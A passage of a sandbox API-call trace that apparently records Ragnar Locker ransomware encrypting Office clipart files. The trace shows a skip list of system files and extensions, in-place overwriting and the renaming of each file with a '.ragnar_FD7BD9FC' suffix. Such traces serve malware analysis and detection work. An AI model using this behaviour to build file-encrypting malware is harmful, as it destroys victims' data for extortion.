returned 1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="iconcache.db") returned 1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="ntldr") returned -1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="ntuser.dat") returned -1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="ntuser.dat.log") returned -1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="ntuser.ini") returned -1 [0083.264] lstrcmpiW (lpString1="J0099183.WMF", lpString2="thumbs.db") returned -1 [0083.264] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.264] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.264] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.264] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.264] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.264] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.264] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf")) returned 0x20 [0083.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.265] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4946) returned 1 [0083.265] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1349, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.265] GetProcessHeap () returned 0x580000 [0083.265] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.265] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.267] VirtualAlloc (lpAddress=0x0, dwSize=0x1352, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.267] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.267] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1352, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1352, lpOverlapped=0x0) returned 1 [0083.268] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.268] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1352, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.268] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1352, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1352, lpOverlapped=0x0) returned 1 [0083.268] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1352, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.268] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.268] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1352, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.268] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.269] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.269] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.269] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.269] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.269] GetProcessHeap () returned 0x580000 [0083.269] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.269] CloseHandle (hObject=0xf4) returned 1 [0083.269] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" [0083.269] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.ragnar_FD7BD9FC" [0083.269] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099183.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099183.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.269] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1 [0083.270] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.270] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099184.WMF" | out: lpString1="J0099184.WMF") returned="J0099184.WMF" [0083.270] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned=".WMF" [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="autorun.inf") returned 1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="boot.ini") returned 1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="bootfont.bin") returned 1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="bootsect.bak") returned 1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="bootmgr") returned 1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="bootmgr.efi") returned 1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="bootmgfw.efi") returned 1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="desktop.ini") returned 1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="iconcache.db") returned 1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="ntldr") returned -1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="ntuser.dat") returned -1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="ntuser.dat.log") returned -1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="ntuser.ini") returned -1 [0083.270] lstrcmpiW (lpString1="J0099184.WMF", lpString2="thumbs.db") returned -1 [0083.270] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.270] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.270] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.270] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.270] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.270] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.270] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf")) returned 0x20 [0083.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.271] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4118) returned 1 [0083.271] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x100d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.271] GetProcessHeap () returned 0x580000 [0083.271] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.271] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.273] VirtualAlloc (lpAddress=0x0, dwSize=0x1016, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.274] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.274] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.274] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1016, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1016, lpOverlapped=0x0) returned 1 [0083.274] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.275] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1016, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.275] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1016, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1016, lpOverlapped=0x0) returned 1 [0083.275] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1016, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.275] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.275] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1016, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.275] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.275] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.275] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.275] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.275] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.275] GetProcessHeap () returned 0x580000 [0083.275] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.275] CloseHandle (hObject=0xf4) returned 1 [0083.276] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" [0083.276] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.ragnar_FD7BD9FC" [0083.276] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.276] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1 [0083.276] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.276] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099185.JPG" | out: lpString1="J0099185.JPG") returned="J0099185.JPG" [0083.276] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned=".JPG" [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="autorun.inf") returned 1 [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="boot.ini") returned 1 [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="bootfont.bin") returned 1 [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="bootsect.bak") returned 1 [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="bootmgr") returned 1 [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="bootmgr.efi") returned 1 [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="bootmgfw.efi") returned 1 [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="desktop.ini") returned 1 [0083.276] lstrcmpiW (lpString1="J0099185.JPG", lpString2="iconcache.db") returned 1 [0083.277] lstrcmpiW (lpString1="J0099185.JPG", lpString2="ntldr") returned -1 [0083.277] lstrcmpiW (lpString1="J0099185.JPG", lpString2="ntuser.dat") returned -1 [0083.277] lstrcmpiW (lpString1="J0099185.JPG", lpString2="ntuser.dat.log") returned -1 [0083.277] lstrcmpiW (lpString1="J0099185.JPG", lpString2="ntuser.ini") returned -1 [0083.277] lstrcmpiW (lpString1="J0099185.JPG", lpString2="thumbs.db") returned -1 [0083.277] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.277] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.277] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.277] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.277] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.277] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.277] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.277] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg")) returned 0x20 [0083.277] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.277] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3282) returned 1 [0083.277] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcc9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.277] GetProcessHeap () returned 0x580000 [0083.277] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.277] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.279] VirtualAlloc (lpAddress=0x0, dwSize=0xcd2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.279] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xcd2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xcd2, lpOverlapped=0x0) returned 1 [0083.279] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.280] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcd2, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.280] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xcd2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xcd2, lpOverlapped=0x0) returned 1 [0083.280] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcd2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.280] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.280] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xcd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.280] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.280] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.280] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.280] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.280] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.280] GetProcessHeap () returned 0x580000 [0083.280] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.280] CloseHandle (hObject=0xf4) returned 1 [0083.280] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" [0083.280] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.ragnar_FD7BD9FC" [0083.280] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.281] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1 [0083.281] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.281] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0099186.JPG" | out: lpString1="J0099186.JPG") returned="J0099186.JPG" [0083.281] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG") returned=".JPG" [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="autorun.inf") returned 1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="boot.ini") returned 1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="bootfont.bin") returned 1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="bootsect.bak") returned 1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="bootmgr") returned 1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="bootmgr.efi") returned 1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="bootmgfw.efi") returned 1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="desktop.ini") returned 1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="iconcache.db") returned 1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="ntldr") returned -1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="ntuser.dat") returned -1 [0083.281] lstrcmpiW (lpString1="J0099186.JPG", lpString2="ntuser.dat.log") returned -1 [0083.282] lstrcmpiW (lpString1="J0099186.JPG", lpString2="ntuser.ini") returned -1 [0083.282] lstrcmpiW (lpString1="J0099186.JPG", lpString2="thumbs.db") returned -1 [0083.282] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0083.282] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0083.282] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0083.282] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0083.282] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0083.282] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0083.282] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0083.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 